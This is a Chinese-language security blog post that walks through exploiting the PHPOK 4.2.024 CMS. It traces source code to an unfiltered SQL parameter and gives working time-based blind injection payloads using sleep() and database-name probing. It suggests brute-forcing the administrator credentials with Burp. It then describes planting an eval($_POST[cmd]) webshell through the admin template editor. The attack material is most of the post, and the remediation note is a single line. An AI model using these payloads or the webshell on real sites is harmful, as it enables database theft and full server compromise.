?

Aug 16 2016

phpok4.2.024一處盲注+后臺getshell

首頁 » 漏洞收集 » phpok4.2.024一處盲注+后臺getshell   

文件/framework/www/post_control.php 26-38行
 

function index_f()
{
$id = $this->get("id");
$pid = $this->get('pid');
if(!$id && !$pid)
{
error(P_Lang('未指定項目'),'','error');
}
$project_rs = $this->call->phpok('_project',array("phpok"=>$id,'pid'=>$pid));
if(!$project_rs || !$project_rs['module'])
{
error(P_Lang("項目不符合要求"),'','error');
}



id和pid傳進來了,
phpok('_project',array("phpok"=>$id,'pid'=>$pid));
跟進phpok
/framework/phpok_call.php

 

function phpok($id,$rs="")
{
if(!$id) return false;
$cacheId = '';
$content = '';
if($rs && is_string($rs)) parse_str($rs,$rs);
//判斷是否啟用緩存,啟用后直讀緩存信息
if($GLOBALS['app']->cache->status())
{
$cacheId = $GLOBALS['app']->cache->key(array('id'=>$id,'rs'=>$rs),$this->site['id'],"call");
$content = $GLOBALS['app']->cache->read($cacheId);
}
if($content) return $content;
//判斷是內置參數還是調用數據中心的數據
if(substr($id,0,1) != '_')
{
$call_rs = $GLOBALS['app']->model('call')->get_rs($id,$this->site['id']);
if(!$call_rs) return false;
if($call_rs['ext'])
{
$call_rs_ext = unserialize($call_rs['ext']);
unset($call_rs['ext'],$call_rs['id']);
if($call_rs_ext) $call_rs = array_merge($call_rs_ext,$call_rs);
}
if($rs && is_array($rs)) $call_rs = array_merge($call_rs,$rs);
}
else
{
if(!$rs || !is_array($rs)) return false;
//arclist,文章列表
//arc,單篇文章信息
//cate,分類信息
//catelist,分類樹
//project,項目信息
//sublist,子項目信息
//parent,父級項目信息
//plist,同級項目信息
//fields,字段表單
//user,會員
//userlist,會員列表
//total,文章總數
//cate_id,當前分類信息(不帶項目,不生成鏈接)
//subcate,子分類信息,即當前分類下的子分類
$list = array('arclist','arc','cate','catelist','project','sublist','parent','plist','fields','user','userlist','total','cate_id','subcate');
$id = substr($id,1);
//如果是arclist,且未定義is_list屬性,則默認啟用此屬性
if($id == "arclist")
{
$rs["is_list"] = $rs["is_list"] == 'false' ? 0 : 1;
}
if(!$id || !in_array($id,$list)) return false;
$call_rs = array_merge($rs,array('type_id'=>$id));
}
$content = $this->load_call($call_rs);
if($content && $cacheId) $GLOBALS['app']->cache->write($cacheId,$content);
return $content;
}


就是調用一個函數

那看
phpok('_project',array("phpok"=>$id,'pid'=>$pid));

跟_project這個函數
/framework/model/data.php 1118-1139

public function _project($id,$ext=false)
{
if($this->cdata['project'][$id])
{
$rs = $this->cdata['project'][$id];
}
else
{
$sql = "SELECT * FROM ".$this->db->prefix."project WHERE id=".$id;
$rs = $this->db->get_one($sql);
//if(!$this->cdata['project'])
//echo $id.'---'.$rs;
$this->cdata['project'][$id] = $rs;
}
if(!$rs) return false;
if($ext)
{
$ext = $this->ext_all('project-'.$id);
if($ext) $rs = array_merge($ext,$rs);
}
return $rs;
}


id沒有過濾,直接帶入了sql。
http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41
這個pid是項目的id值,默認是41以上,包括41,也可以爬一下。


http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41 and sleep(5)

瀏覽器轉5秒

http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41 and 1=if((ord(substr(database(),1,1))=112),sleep(5),1)
這個語句應該曉得吧,database的第一個字符的asicc碼為112則瀏覽器轉5秒,反之直接返回頁面。
然后擴展一下,_project這個函數有問題,我們可以全局搜索一下,還有哪里調用了_project然后再繼續發掘漏洞
就不繼續測試了,這里的修補方式就是對_project這個函數做過濾。
想搞出管理員的賬號密碼burp跑一下就可以了

后臺getshell

風格管理
可以編輯這個php文件

插入?><?php phpinfo();?><? 或?><?php eval($_POST[cmd])?><?

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: phpok

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «OpenSSL CVE-2016-2107 漏洞分析 | PHPOK最新版前臺SQL注入漏洞(可直接獲取管理員密碼)»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖